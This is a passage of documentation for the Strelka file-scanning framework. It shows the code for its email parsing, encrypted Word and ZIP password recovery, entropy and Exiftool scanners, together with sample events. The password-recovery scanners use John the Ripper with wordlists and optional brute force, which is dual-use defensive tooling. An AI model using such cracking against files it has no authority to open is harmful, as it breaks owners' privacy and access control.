required Source code instrelka/src/python/strelka/scanners/scan_email.py def scan(self, data, file, options, expire_at):\n \"\"\"\n Processes the email, extracts metadata and attachments, and optionally generates a thumbnail.\n\n Args:\n data: The raw email data.\n file: File details.\n options: Scanner options including thumbnail creation and size.\n expire_at: Expiry time of the scan.\n \"\"\"\n # Initialize data structures for storing scan results\n attachments = []\n self.event[\"total\"] = {\"attachments\": 0, \"extracted\": 0}\n\n # Thumbnail creation based on user option\n create_thumbnail = options.get(\"create_thumbnail\", False)\n thumbnail_header = options.get(\"thumbnail_header\", False)\n thumbnail_size = options.get(\"thumbnail_size\", (500, 500))\n\n # Attempt to create a thumbnail from the email\n if create_thumbnail:\n try:\n image = self.create_email_thumbnail(data, thumbnail_header)\n if image:\n image.thumbnail(thumbnail_size, Image.Resampling.BILINEAR)\n buffered = io.BytesIO()\n image.save(buffered, format=\"WEBP\", quality=30, optimize=True)\n base64_image = base64.b64encode(buffered.getvalue()).decode(\"utf-8\")\n self.event[\"base64_thumbnail\"] = base64_image\n else:\n self.flags.append(\n f\"{self.__class__.__name__}: image_thumbnail_error: Could not generate thumbnail. No HTML found.\"\n )\n except Exception as e:\n self.flags.append(\n f\"{self.__class__.__name__}: image_thumbnail_error: {str(e)[:50]}\"\n )\n\n # Parse email contents\n try:\n # Open and parse email byte string\n ep = eml_parser.EmlParser(\n include_attachment_data=True, include_raw_body=True\n )\n parsed_eml = ep.decode_email_bytes(data)\n\n # Check if email was parsed properly and attempt to deconflict and reload.\n if not (parsed_eml[\"header\"][\"subject\"] and parsed_eml[\"header\"][\"header\"]):\n if b\"\\nReceived: from \" in data:\n data = (\n data.rpartition(b\"\\nReceived: from \")[1]\n + data.rpartition(b\"\\nReceived: from \")[2]\n )[1:]\n elif b\"Start mail input; end with <CRLF>.<CRLF>\\n\" in data:\n data = data.rpartition(\n b\"Start mail input; end with <CRLF>.<CRLF>\\n\"\n )[2]\n parsed_eml = ep.decode_email_bytes(data)\n\n # Extract body content and domains\n if \"body\" in parsed_eml:\n for body in parsed_eml[\"body\"]:\n if \"content_type\" in body:\n if body[\"content_type\"] == \"text/plain\":\n if len(body[\"content\"]) <= 200:\n self.event[\"body\"] = body[\"content\"]\n else:\n self.event[\"body\"] = (\n body[\"content\"][:100]\n + \"...\"\n + body[\"content\"][-100:]\n )\n else:\n self.event[\"body\"] = (\n body[\"content\"][:100] + \"...\" + body[\"content\"][-100:]\n )\n if \"domain\" in body:\n if \"domain\" in self.event:\n self.event[\"domains\"] += body[\"domain\"]\n else:\n self.event[\"domains\"] = body[\"domain\"]\n\n # Extract attachment details and raw data\n if \"attachment\" in parsed_eml:\n self.event[\"attachments\"] = {\n \"filenames\": [],\n \"hashes\": [],\n \"totalsize\": 0,\n }\n for attachment in parsed_eml[\"attachment\"]:\n self.event[\"attachments\"][\"filenames\"].append(\n attachment[\"filename\"]\n )\n self.event[\"attachments\"][\"hashes\"].append(\n attachment[\"hash\"][\"md5\"]\n )\n self.event[\"attachments\"][\"totalsize\"] += attachment[\"size\"]\n attachments.append(\n {\n \"name\": attachment[\"filename\"],\n \"content-type\": attachment[\"content_header\"][\n \"content-type\"\n ][0],\n \"raw\": base64.b64decode(attachment[\"raw\"]),\n }\n )\n\n # Extract email header information\n self.event[\"subject\"] = parsed_eml[\"header\"].get(\"subject\", \"\")\n self.event[\"to\"] = parsed_eml[\"header\"].get(\"to\", \"\")\n self.event[\"from\"] = parsed_eml[\"header\"].get(\"from\", \"\")\n date_header = parsed_eml[\"header\"].get(\"date\")\n if date_header:\n self.event[\"date_utc\"] = (\n date_header.astimezone(pytz.utc).isoformat()[:-6] + \".000Z\"\n )\n header = parsed_eml.get(\"header\", {}).get(\"header\", {})\n message_id = header.get(\"message-id\", [])[0] if header else None\n self.event[\"message_id\"] = (\n str(message_id.lstrip(\"<\").rstrip(\">\")) if message_id else \"\"\n )\n self.event[\"received_domain\"] = parsed_eml[\"header\"].get(\n \"received_domain\", []\n )\n self.event[\"received_ip\"] = parsed_eml[\"header\"].get(\"received_ip\", [])\n\n # Process attachments\n if attachments:\n for attachment in attachments:\n self.event[\"total\"][\"attachments\"] += 1\n name = attachment[\"name\"]\n try:\n flavors = [\n attachment[\"content-type\"]\n .encode(\"utf-8\")\n .partition(b\";\")[0]\n ]\n except Exception as e:\n self.flags.append(\n f\"{self.__class__.__name__}: email_extract_attachment_error: {str(e)[:50]}\"\n )\n # Send extracted file back to Strelka\n self.emit_file(attachment[\"raw\"], name=name, flavors=flavors)\n self.event[\"total\"][\"extracted\"] += 1\n\n except Exception as e:\n self.flags.append(\n f\"{self.__class__.__name__}: email_parse_error: {str(e)[:50]}\"\n )\ncreate_email_thumbnail(data, show_header)","text":"Generates a thumbnail image from the content of an email message.
This function processes the email to extract images and text, combines them into a single image, and returns that image.
Parameters:
Name Type Description Defaultshow_header Whether to show the header details in the output.
requireddata Raw email data.
requiredReturns:
Type DescriptionA PIL Image object representing the combined thumbnail image of the email.
None if no images could be created.
Source code instrelka/src/python/strelka/scanners/scan_email.py def create_email_thumbnail(self, data, show_header):\n \"\"\"\n Generates a thumbnail image from the content of an email message.\n\n This function processes the email to extract images and text, combines them into\n a single image, and returns that image.\n\n Args:\n show_header: Whether to show the header details in the output.\n data: Raw email data.\n\n Returns:\n A PIL Image object representing the combined thumbnail image of the email.\n None if no images could be created.\n \"\"\"\n # Supported image types for extraction from the email\n image_types = [\n \"image/gif\",\n \"image/jpeg\",\n \"image/png\",\n \"image/jpg\",\n \"image/bmp\",\n \"image/ico\",\n \"image/svg\",\n \"image/web\",\n ]\n\n # Dictionary to map content IDs to images\n images_dict = {}\n\n # Create a temporary directory to store generated images\n with tempfile.TemporaryDirectory() as temp_dir:\n # Parse the email data\n msg = email.message_from_bytes(data)\n\n # List to store paths of generated images\n images_list = []\n\n # Extract and format header details from the email\n if show_header:\n header_fields = [\"Date\", \"From\", \"To\", \"Subject\", \"Message-Id\"]\n header_values = {\n field: self.decode_and_format_header(msg, field)\n for field in header_fields\n }\n\n # Generate an HTML table from the header values\n headers_html = '<table width=\"100%\">\\n'\n for field, value in header_values.items():\n headers_html += f' <tr><td align=\"right\"><b>{field}:</b></td><td>{value}</td></tr>\\n'\n headers_html += \"</table>\\n<hr></p>\\n\"\n\n # Convert HTML header details to an image\n header_image_path = self.html_to_image(headers_html, temp_dir)\n if header_image_path:\n images_list.append(header_image_path)\n\n # Process the MIME parts to extract images\n for part in msg.walk():\n if part.is_multipart():\n continue\n\n mime_type = part.get_content_type()\n if mime_type in image_types:\n # Extract image data and create a base64 encoded version\n content_id = part.get(\"Content-ID\", \"\").strip(\"<>\")\n image_data = part.get_payload(decode=True)\n img_data_base64 = base64.b64encode(image_data).decode(\"utf-8\")\n images_dict[content_id] = img_data_base64\n\n # Process HTML body parts and replace CID references with base64 data\n for part in msg.walk():\n if part.get_content_type() == \"text/html\":\n payload = part.get_payload(decode=True).decode(\"utf-8\")\n for cid, img_data in images_dict.items():\n payload = payload.replace(\n f\"cid:{cid}\", f\"data:image/jpeg;base64,{img_data}\"\n )\n\n # Convert the modified HTML body to an image\n body_image_path = self.html_to_image(payload, temp_dir)\n if body_image_path:\n images_list.append(body_image_path)\n\n # Combine all extracted images into a single image\n if images_list:\n images = [Image.open(path) for path in images_list]\n return self.append_images(images)\n\n return None\nhtml_to_image(html_content, temp_dir) staticmethod","text":"Converts HTML content to an image.
This method uses WeasyPrint to convert the HTML content to a PDF and then uses PyMuPDF (fitz) to render the PDF as an image. The rendered image is saved as a PNG file.
Parameters:
Name Type Description Defaulthtml_content HTML content to be converted into an image.
requiredtemp_dir Temporary directory to store intermediate files.
requiredReturns:
Type DescriptionThe file path to the generated image, or None if the process fails.
Source code instrelka/src/python/strelka/scanners/scan_email.py @staticmethod\ndef html_to_image(html_content, temp_dir):\n \"\"\"\n Converts HTML content to an image.\n\n This method uses WeasyPrint to convert the HTML content to a PDF and then\n uses PyMuPDF (fitz) to render the PDF as an image. The rendered image is saved as a PNG file.\n\n Args:\n html_content: HTML content to be converted into an image.\n temp_dir: Temporary directory to store intermediate files.\n\n Returns:\n The file path to the generated image, or None if the process fails.\n \"\"\"\n # Generate a unique filename for the PDF\n pdf_filename = hashlib.md5(html_content.encode()).hexdigest() + \".pdf\"\n pdf_path = os.path.join(temp_dir, pdf_filename)\n\n # Convert HTML to a PDF using WeasyPrint\n try:\n HTML(string=html_content).write_pdf(pdf_path)\n\n # Open the PDF with fitz and render the first page as an image\n with fitz.open(pdf_path) as doc:\n if doc.page_count > 0:\n page = doc.load_page(0) # first page\n pix = page.get_pixmap()\n image_path = os.path.join(\n temp_dir, pdf_filename.replace(\".pdf\", \".png\")\n )\n pix.save(image_path)\n return image_path\n else:\n return None\n except Exception:\n return None\nappend_images(images) staticmethod","text":"Combines multiple image objects into a single image.
This function stacks the provided images vertically to create one continuous image. It's particularly useful for creating a visual summary of an email's content.
Parameters:
Name Type Description Defaultimages A list of PIL Image objects to be combined.
requiredReturns:
Type DescriptionA single PIL Image object that combines all the input images.
Source code instrelka/src/python/strelka/scanners/scan_email.py @staticmethod\ndef append_images(images):\n \"\"\"\n Combines multiple image objects into a single image.\n\n This function stacks the provided images vertically to create one continuous image.\n It's particularly useful for creating a visual summary of an email's content.\n\n Args:\n images: A list of PIL Image objects to be combined.\n\n Returns:\n A single PIL Image object that combines all the input images.\n \"\"\"\n # Define the background color for the combined image\n bg_color = (255, 255, 255)\n\n # Calculate the total width (max width among images) and total height (sum of heights of all images)\n widths, heights = zip(*(img.size for img in images))\n total_width = max(widths)\n total_height = sum(heights)\n\n # Create a new image with the calculated dimensions\n combined_image = Image.new(\"RGB\", (total_width, total_height), color=bg_color)\n\n # Paste each image onto the combined image, one below the other\n y_offset = 0\n for img in images:\n combined_image.paste(img, (0, y_offset))\n y_offset += img.height\n\n return combined_image\ndecode_and_format_header(msg, header_name) staticmethod","text":"Decodes and safely formats a specific header field from an email message.
Email headers can be encoded in various formats. This function decodes the header into a human-readable format, and also ensures that the text is safe for HTML display.
Parameters:
Name Type Description Defaultmsg Parsed email message object.
requiredheader_name The name of the header field to decode.
requiredReturns:
Type DescriptionA string representing the decoded and header field values.
Returns a placeholder string if the header field is missing or cannot be decoded.
Source code instrelka/src/python/strelka/scanners/scan_email.py @staticmethod\ndef decode_and_format_header(msg, header_name):\n \"\"\"\n Decodes and safely formats a specific header field from an email message.\n\n Email headers can be encoded in various formats. This function decodes the header\n into a human-readable format, and also ensures that the text is safe for HTML display.\n\n Args:\n msg: Parsed email message object.\n header_name: The name of the header field to decode.\n\n Returns:\n A string representing the decoded and header field values.\n Returns a placeholder string if the header field is missing or cannot be decoded.\n \"\"\"\n try:\n # Decode the specified header field\n decoded_header = email.header.decode_header(msg[header_name])[0]\n # Convert bytes to string if necessary\n field_value = decoded_header[0]\n if isinstance(field_value, bytes):\n field_value = field_value.decode(decoded_header[1] or \"utf-8\")\n except Exception:\n field_value = \"<Unknown>\"\n\n # Replace angle brackets for HTML safety\n return field_value.replace(\"<\", \"<\").replace(\">\", \">\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanEmail.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/vnd.ms-outlook email_file_broad email_file message/rfc822"},{"location":"Scanners/ScanEmail.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeattachments dict attachments.filenames list attachments.hashes str attachments.totalsize int base64_thumbnail str body str date_utc str domains str domains list elapsed str flags list from str message_id str received_domain list received_domain str received_ip str received_ip list subject str to str to list total dict total.attachments int total.extracted int"},{"location":"Scanners/ScanEmail.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"total\": {\"attachments\": 2, \"extracted\": 2},\n \"body\": \"Lorem Ipsum\\n\\n[cid:image001.jpg@01D914BA.2B9507C0]\\n\\n\\nLorem ipsum dolor sit amet, consectetur adipisci...tristique mi, quis finibus justo augue non ligula. Quisque facilisis dui in orci aliquet fermentum.\\n\",\n \"domains\": unordered(\n [\n \"schemas.microsoft.com\",\n \"www.w3.org\",\n \"div.msonormal\",\n \"span.msohyperlink\",\n \"span.msohyperlinkfollowed\",\n \"span.emailstyle17\",\n \"1.0in\",\n \"div.wordsection1\",\n ]\n ),\n \"attachments\": {\n \"filenames\": [\"image001.jpg\", \"test.doc\"],\n \"hashes\": unordered(\n [\n \"ee97b5bb7816b8ad3c3b4024a5d7ff06\",\n \"33a13c0806ec35806889a93a5f259c7a\",\n ]\n ),\n \"totalsize\": 72819,\n },\n \"subject\": \"Lorem Ipsum\",\n \"to\": unordered([\"baz.quk@example.com\"]),\n \"from\": \"foo.bar@example.com\",\n \"date_utc\": \"2022-12-21T02:29:49.000Z\",\n \"message_id\": \"DS7PR03MB5640AD212589DFB7CE58D90CFBEB9@DS7PR03MB5640.namprd03.prod.outlook.com\",\n \"received_domain\": unordered(\n [\n \"ch2pr03mb5366.namprd03.prod.outlook.com\",\n \"mx0b-0020ab02.pphosted.com\",\n \"pps.filterd\",\n \"mx.example.com\",\n \"ds7pr03mb5640.namprd03.prod.outlook.com\",\n \"mx0a-0020ab02.pphosted.com\",\n ]\n ),\n \"received_ip\": unordered(\n [\n \"022.12.20.18\",\n \"fe80::bd8e:df17:2c2f:2490\",\n \"8.17.1.19\",\n \"2603:10b6:5:2c0::11\",\n \"205.220.177.243\",\n \"2603:10b6:610:96::16\",\n \"127.0.0.1\",\n \"2002:a05:6500:11d0:b0:17b:2a20:6c32\",\n ]\n ),\n }\nExtracts passwords from encrypted office word documents.
Attributes:
Name Type Descriptionpasswords List of passwords to use when bruteforcing encrypted files.
Optionslimit: Maximum number of files to extract. Defaults to 1000. password_file: Location of passwords file for zip archives. Defaults to /etc/strelka/passwords.dat.
Source code instrelka/src/python/strelka/scanners/scan_encrypted_doc.py class ScanEncryptedDoc(strelka.Scanner):\n \"\"\"Extracts passwords from encrypted office word documents.\n\n Attributes:\n passwords: List of passwords to use when bruteforcing encrypted files.\n\n Options:\n limit: Maximum number of files to extract.\n Defaults to 1000.\n password_file: Location of passwords file for zip archives.\n Defaults to /etc/strelka/passwords.dat.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n jtr_path = options.get(\"jtr_path\", \"/jtr/\")\n tmp_directory = options.get(\"tmp_file_directory\", \"/tmp/\")\n password_file = options.get(\"password_file\", \"/etc/strelka/passwords.dat\")\n log_extracted_pws = options.get(\"log_pws\", False)\n scanner_timeout = options.get(\"scanner_timeout\", 150)\n brute = options.get(\"brute_force\", False)\n max_length = options.get(\"max_length\", 7)\n\n with io.BytesIO(data) as doc_io:\n msoff_doc = msoffcrypto.OfficeFile(doc_io)\n output_doc = io.BytesIO()\n if extracted_pw := crack_word(\n self,\n data,\n jtr_path,\n tmp_directory,\n brute=brute,\n scanner_timeout=scanner_timeout,\n max_length=max_length,\n password_file=password_file,\n ):\n if log_extracted_pws:\n self.event[\"cracked_password\"] = extracted_pw\n try:\n msoff_doc.load_key(password=extracted_pw.decode(\"utf-8\"))\n msoff_doc.decrypt(output_doc)\n output_doc.seek(0)\n extract_data = output_doc.read()\n output_doc.seek(0)\n\n # Send extracted file back to Strelka\n self.emit_file(extract_data)\n\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\n \"Could not decrypt document with recovered password\"\n )\n\n else:\n self.flags.append(\"Could not extract password\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanEncryptedDoc.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeencrypted_word_document"},{"location":"Scanners/ScanEncryptedDoc.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typecracked_password bytes elapsed str flags list"},{"location":"Scanners/ScanEncryptedDoc.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [\"cracked_by_wordlist\"],\n \"cracked_password\": b\"Password1!\",\n }\nExtracts passwords from encrypted ZIP archives.
Attributes:
Name Type Descriptionpasswords List of passwords to use when bruteforcing encrypted files.
Optionslimit: Maximum number of files to extract. Defaults to 1000. password_file: Location of passwords file for zip archives. Defaults to /etc/strelka/passwords.dat.
Source code instrelka/src/python/strelka/scanners/scan_encrypted_zip.py class ScanEncryptedZip(strelka.Scanner):\n \"\"\"Extracts passwords from encrypted ZIP archives.\n\n Attributes:\n passwords: List of passwords to use when bruteforcing encrypted files.\n\n Options:\n limit: Maximum number of files to extract.\n Defaults to 1000.\n password_file: Location of passwords file for zip archives.\n Defaults to /etc/strelka/passwords.dat.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n jtr_path = options.get(\"jtr_path\", \"/jtr/\")\n tmp_directory = options.get(\"tmp_file_directory\", \"/tmp/\")\n file_limit = options.get(\"limit\", 1000)\n password_file = options.get(\"password_file\", \"/etc/strelka/passwords.dat\")\n log_extracted_pws = options.get(\"log_pws\", False)\n scanner_timeout = options.get(\"scanner_timeout\", 150)\n brute = options.get(\"brute_force\", False)\n max_length = options.get(\"max_length\", 5)\n\n self.event[\"total\"] = {\"files\": 0, \"extracted\": 0}\n\n with io.BytesIO(data) as zip_io:\n try:\n is_aes = False\n with pyzipper.ZipFile(zip_io) as zip_obj:\n file_list = zip_obj.filelist # .filelist\n for file_list_item in file_list:\n if not file_list_item.is_dir():\n # Check for the AES compression type\n if file_list_item.compress_type == 99:\n is_aes = True\n break\n\n with (\n pyzipper.AESZipFile(zip_io) if is_aes else pyzipper.ZipFile(zip_io)\n ) as zip_obj:\n file_list = zip_obj.filelist # .filelist\n for file_list_item in file_list:\n if not file_list_item.is_dir():\n self.event[\"total\"][\"files\"] += 1\n\n extracted_pw = crack_zip(\n self,\n data,\n jtr_path,\n tmp_directory,\n brute=brute,\n scanner_timeout=scanner_timeout,\n max_length=max_length,\n password_file=password_file,\n )\n\n if not extracted_pw:\n self.flags.append(\"Could not extract password\")\n return\n\n if log_extracted_pws:\n self.event[\"cracked_password\"] = extracted_pw\n\n for file_item in file_list:\n if not file_item.is_dir():\n if self.event[\"total\"][\"extracted\"] >= file_limit:\n break\n\n try:\n extract_data = zip_obj.read(\n file_item.filename, pwd=extracted_pw\n )\n\n if extract_data:\n # Send extracted file back to Strelka\n self.emit_file(\n extract_data, name=file_item.filename\n )\n\n self.event[\"total\"][\"extracted\"] += 1\n\n except NotImplementedError:\n self.flags.append(\"unsupported_compression\")\n except RuntimeError:\n self.flags.append(\"runtime_error\")\n except ValueError:\n self.flags.append(\"value_error\")\n except zlib.error:\n self.flags.append(\"zlib_error\")\n\n except pyzipper.BadZipFile:\n self.flags.append(\"bad_zip\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanEncryptedZip.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeencrypted_zip"},{"location":"Scanners/ScanEncryptedZip.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list total dict total.extracted int total.files int"},{"location":"Scanners/ScanEncryptedZip.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [\"cracked_by_wordlist\"],\n \"total\": {\"files\": 4, \"extracted\": 4},\n }\nCalculates entropy of files.
Source code instrelka/src/python/strelka/scanners/scan_entropy.py class ScanEntropy(strelka.Scanner):\n \"\"\"Calculates entropy of files.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n self.event[\"entropy\"] = entropy.shannon_entropy(data)\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanEntropy.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude*"},{"location":"Scanners/ScanEntropy.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str entropy float flags list"},{"location":"Scanners/ScanEntropy.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\"elapsed\": 0.001, \"flags\": [], \"entropy\": 4.314502621279276}\nCollects strings from files.
Collects strings from files (similar to the output of the Unix 'strings' utility).
Optionslimit: Maximum number of strings to collect, starting from the beginning of the file. If this value is 0, then all strings are collected. Defaults to 0 (unlimited).
Source code instrelka/src/python/strelka/scanners/scan_exception.py class ScanException(strelka.Scanner):\n \"\"\"Collects strings from files.\n\n Collects strings from files (similar to the output of the Unix 'strings'\n utility).\n\n Options:\n limit: Maximum number of strings to collect, starting from the\n beginning of the file. If this value is 0, then all strings are\n collected.\n Defaults to 0 (unlimited).\n \"\"\"\n\n def init(self):\n pass\n\n def scan(self, data, file, options, expire_at):\n raise Exception(\"Scanner Exception\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanException.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude"},{"location":"Scanners/ScanException.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str exception str flags list"},{"location":"Scanners/ScanException.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [\"uncaught_exception\"],\n \"exception\": 0.001,\n }\nCollects metadata parsed by Exiftool.
This scanner uses Exiftool to extract metadata from files and logs the extracted key-value pairs.
Optionstmp_directory: Location where tempfile writes temporary files. Defaults to '/tmp/'.
Source code instrelka/src/python/strelka/scanners/scan_exiftool.py class ScanExiftool(strelka.Scanner):\n \"\"\"Collects metadata parsed by Exiftool.\n\n This scanner uses Exiftool to extract metadata from files and logs the\n extracted key-value pairs.\n\n Options:\n tmp_directory: Location where tempfile writes temporary files.\n Defaults to '/tmp/'.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n tmp_directory = options.get(\"tmp_directory\", \"/tmp/\")\n\n # Use a temporary file to store the data for processing with Exiftool\n with tempfile.NamedTemporaryFile(dir=tmp_directory) as tmp_data:\n tmp_data.write(data)\n tmp_data.flush()\n\n try:\n # Execute exiftool and retrieve JSON metadata output\n (stdout, stderr) = subprocess.Popen(\n [\"exiftool\", \"-j\", tmp_data.name],\n stdout=subprocess.PIPE,\n stderr=subprocess.DEVNULL,\n ).communicate()\n\n if stdout:\n # Load metadata from stdout and update the event dictionary with it\n # Converts fields with spaces to underscores to accommodate\n # searchability (i.e., \"File Name\" to \"file_name\")\n metadata = json.loads(stdout)[0]\n for key, value in metadata.items():\n formatted_key = key.replace(\" \", \"_\").replace(\"/\", \"_\").lower()\n\n # Convert any lists to a comma-separated string\n if isinstance(value, list):\n value = \", \".join(map(str, value))\n\n self.event[formatted_key] = value\n\n # Handle potential errors from exiftool and JSON decoding\n except subprocess.CalledProcessError as e:\n self.flags.append(f\"exiftool_error: Subprocess Error - {str(e)}\")\n except json.JSONDecodeError as e:\n self.flags.append(f\"exiftool_error: JSON Decode Error - {str(e)}\")\n except Exception as e:\n self.flags.append(f\"exiftool_error: General Error - {str(e)}\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanExiftool.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/msword application/pdf application/vnd.ms-excel application/x-shockwave-flash bmp_file fws_file gif_file image/avif image/gif image/heic image/heif image/jpeg image/png image/tiff image/webp image/x-ms-bmp jpeg_file lnk_file olecf_file pdf_file png_file type_is_tiff"},{"location":"Scanners/ScanExiftool.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeappversion float author str bitspersample int bluematrixcolumn str bluetrc str characters int charcountwithspaces int cmmflags str codepage str colorcomponents int colorspacedata str comment str comments str company str compobjusertype str compobjusertypelen int connectionspaceilluminant str createdate str deviceattributes str devicemanufacturer str devicemfgdesc str devicemodel str devicemodeldesc str directory str docflags str elapsed str encodingprocess str exifbyteorder str exifimageheight int exifimagewidth int exiftoolversion float fileaccessdate str fileinodechangedate str filemodifydate str filename str filepermissions str filesize str filetype str filetypeextension str flags list gpslatitude str gpslatituderef str gpslongitude str gpslongituderef str gpsposition str greenmatrixcolumn str greentrc str headingpairs str hyperlinkschanged str identification str imageheight int imagesize str imagewidth int keywords str languagecode str lastmodifiedby str lastprinted str lines int linksuptodate str luminance str measurementbacking str measurementflare str measurementgeometry str measurementilluminant str measurementobserver str mediablackpoint str mediawhitepoint str megapixels float mimetype str modifydate str orientation str pages int paragraphs int primaryplatform str profileclass str profilecmmtype str profileconnectionspace str profilecopyright str profilecreator str profiledatetime str profiledescription str profilefilesignature str profileid int profileversion str redmatrixcolumn str redtrc str renderingintent str resolutionunit str revisionnumber int scalecrop str security str shareddoc str software str sourcefile str subject str subsecmodifydate str subsectime int system str technology str template str title str titleofparts str totaledittime str viewingconddesc str viewingcondilluminant str viewingcondilluminanttype str viewingcondsurround str word97 str words int xmptoolkit str xresolution int ycbcrpositioning str ycbcrsubsampling str yresolution int"},{"location":"Scanners/ScanExiftool.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
